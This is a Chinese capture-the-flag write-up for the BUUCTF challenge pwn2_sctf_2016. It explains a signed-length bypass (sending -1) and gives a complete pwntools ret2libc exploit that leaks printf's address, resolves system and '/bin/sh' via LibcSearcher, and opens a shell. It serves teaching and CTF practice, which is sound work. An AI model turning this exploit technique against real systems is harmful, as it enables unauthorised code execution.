[BUUCTF-pwn]——pwn2_sctf_2016

  • 题目地址: https://buuoj.cn/challenges#pwn2_sctf_2016

老规矩还是先checksec一下,
在IDA中看看, 这个get_n(a, b)的作用就是读入 b 个字符。将其合成的字符串赋值给a。


最常用的方法,也是我经常使用的方法就是利用 libc库 计算偏移。然后循环利用函数。只有printf函数可以打印, 找到需要用的地址。

思路

利用printf泄露printf的实际地址, 通过计算偏移,以此来找到system 和 ‘/bin/sh’
但是中间你会发现有个32的限制, 仔细观察 变量类型你就会发现 get_n的第二个参数的类型是 unsigned int 类型, int 类型的负数, 在这里对应的就是正数, 而且还是很大的正数。可以用来绕过检查。

注意不要如下写, 里面有 %u 孩子在这里卡了一下

p.sendlineafter("Ok, sounds good. Give me %u bytes of data!\n", payload)

exploit

from pwn import *
from LibcSearcher import *
p = remote("node3.buuoj.cn",25008)
elf = ELF("./pwn2_sctf_2016")
context.log_level = 'debug'printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]
s_addr = 0x080486F8
vuln_addr = 0x0804852Fpayload = "a" * (0x2c + 0x4) + p32(printf_plt) + p32(vuln_addr) + p32(s_addr) + p32(printf_got)
p.sendlineafter("How many bytes do you want me to read? ", '-1')p.sendlineafter("bytes of data!\n", payload)
p.recvline()p.recvuntil("You said: ")
printf_addr = u32(p.recv(4))print hex(printf_addr)libc = LibcSearcher('printf', printf_addr)
libcbase = printf_addr - libc.dump('printf')
system_addr = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')payload = "a" * (0x2c + 0x4) + p32(system_addr) + p32(vuln_addr) + p32(binsh)p.sendlineafter("How many bytes do you want me to read? ", '-1')p.sendlineafter("bytes of data!\n", payload)
p.interactive()

遗憾

通过旁边的do_thing函数可以找到 int 80 汇编指令。由于上一题碰到了, 这一题想试试是否可以通过execve("/bin/sh", NULL, NULL) 来解决, 我觉得应该可以不知道, 你有没有兴趣尝试一下, 做出来了。如果可以给我分享一下吗

[BUUCTF-pwn]——pwn2_sctf_2016相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. 简单几步写一个laravel扩展包
  2. 大唐杯5g题库_“大唐杯”全国大学生移动通信技术大赛暨5G教育创新论坛成功举行...
  3. html画线需要适应不同屏幕,hr标签不止创建html水平线也可以画圆噢
  4. C语言 realloc函数 带着内存游走的函数
  5. 14.图像透视——投影几何性质,平行线(Parallel Lines),消失点(Vanishing Point)_3
  6. Delphi单元文件基本结构
  7. arm-linux-androideabi-addr2line
  8. Android 判断wifi是2.4GHz还是5GHz
  9. Python爬虫基础之Urllib
  10. spring实战(第四版)读书笔记 附电子书网盘链接
  11. linux的mysql占用cpu过高_关于在Linux环境下,Mysql占用CPU使用率100%的优化
  12. 美图秀秀一寸照片的制作
  13. 墨画子卿第三章第6节:我是画珞
  14. java实现华氏温度和摄氏温度互相转换
  15. HFSS求解类型和求解设置
  16. TensorFlow Serving 使用 及 部署
  17. 企业为什么选择软件定制开发?
  18. 大一软件工程要学什么
  19. 网站装饰html代码,html常用装饰代码分享
  20. 李小龙私人的超级训练计划

热门文章

  1. 内存泄漏了,咋回事?
  2. asp.net导出GridView数据到Excel
  3. [python学习] 模仿浏览器下载CSDN源文并实现PDF格式备份
  4. OpenGL之仿“天体”运动渲染球体之间的旋转效果
  5. 2015年第六届蓝桥杯 - 省赛 - C/C++大学B组 - F. 加法变乘法
  6. 2013\Province_C_C++_A\4.颠倒的价牌
  7. 一场疫情,炸出了退休的COBOL程序员
  8. C语言中的各输出格式含义
  9. Web服务器常用端口
  10. 【Linux】一步一步学Linux——date命令(81)